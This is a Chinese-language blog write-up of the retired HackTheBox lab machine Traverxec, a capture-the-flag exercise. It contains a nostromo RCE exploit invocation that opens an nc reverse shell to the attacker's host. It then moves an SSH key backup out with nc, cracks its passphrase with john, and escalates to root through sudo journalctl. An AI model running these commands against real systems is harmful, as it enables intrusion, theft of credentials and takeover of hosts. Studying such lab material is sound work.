• HTB-靶机-Traverxec


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.165

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    masscan -p1-65535 10.10.10.165 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.165

    扫描出来版本nostromo 1.9.6存在RCE - 远程代码执行

    对应的exploit地址:https://www.exploit-db.com/exploits/47837
    wget下载链接:https://www.exploit-db.com/raw/47837
    
    metasploit利用模块
    https://www.rapid7.com/db/modules/exploit/multi/http/nostromo_code_exec/

    直接反弹shell

    python cve2019-16278.py 10.10.10.165 80 "nc -e bash 10.10.14.2 8833"
    nc -lvnp 8833

    升级为tty-shell

    拿到低权限后开始查看home,发现有一个用户david,尝试进去,发现没有权限,查看了目录权限,猜测能够有查看的权限,用信息搜集工具搞了一把,发现目标靶机运行的web服务所对于的目录配置文件/var/nostromo/conf  查看了里面的文件内容,发现.htpasswd 但是没啥用处,另外查看到有目录配置信息

    # HOMEDIRS [OPTIONAL]
    
    homedirs                /home
    homedirs_public         public_www
    
    最终发现有备份的私钥信息
    www-data@traverxec:/var/nostromo/conf$ ls -la /home/david/public_www
    total 16
    drwxr-xr-x 3 david david 4096 Oct 25  2019 .
    drwx--x--x 5 david david 4096 Oct 25  2019 ..
    -rw-r--r-- 1 david david  402 Oct 25  2019 index.html
    drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area
    < ls -la /home/david/public_www/protected-file-area/
    total 16
    drwxr-xr-x 2 david david 4096 Oct 25  2019 .
    drwxr-xr-x 3 david david 4096 Oct 25  2019 ..
    -rw-r--r-- 1 david david   45 Oct 25  2019 .htaccess
    -rw-r--r-- 1 david david 1915 Oct 25  2019 backup-ssh-identity-files.tgz

    使用nc的方式将此压缩包传到本地kali
    
    kali:nc -lvnp 9933 > backup.tgz
    靶机:nc 10.10.14.2 9933 < /home/david/public/protected-file-area/backup-ssh-identity-files.tgz

    查看私钥内容发现是加密的,得使用john进行离线密码破解

    /usr/share/john/ssh2john.py id_rsa > hash.txt
    john hash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt

    得到密码

    id_rsa:hunter

    给这个私钥权限400或者600然后使用ssh成功登录到目标靶机

    发现此目录下面有两个文件,其中一个文件是shell脚本,内容如下:

    david@traverxec:~/bin$ cat server-stats.sh
    #!/bin/bash
    
    cat /home/david/bin/server-stats.head
    echo "Load: `/usr/bin/uptime`"
    echo " "
    echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
    echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
    echo " "
    echo "Last 5 journal log lines:"
    /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

    看了上述代码可用通过journalctl进行提权,具体可参考:

    https://gtfobins.github.io/gtfobins/less/
    https://gtfobins.github.io/gtfobins/journalctl/
    最终提权成功,不过这里需要注意一下,要保证当前连接的shell是tty-shell,简单点理解就是要保证当前终端能出现屏幕卡住,出现end,不然提权不了,这里有以下几种办法
    1.使用python生成一个tty-shell
    python -c 'import pty;pty.spawn("/bin/bash")'
    2.在kali的图形界面上登录连接目标靶机
    3.执行脚本前先执行stty rows 4
    
    限制shell绕过技术
    https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

    或者

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    Java实现字符串的包含
    Java实现字符串的包含
    Java实现字符串的包含
    Java实现字符串的包含
    Java实现字符串的包含
    穷文富理撑死工,得先学门能挣钱的手艺
    Windows更新清理工具 (winsxs 清理工具)
    SQLite实现内存键值存储
    Qt5.7.0移植到4412
    罗辑思维2014 第11集 迷茫时代的明白人(慢慢来,能做一点是一点),有书卖
  • 原文地址:https://www.cnblogs.com/autopwn/p/14708660.html
Copyright © 2020-2023  润新知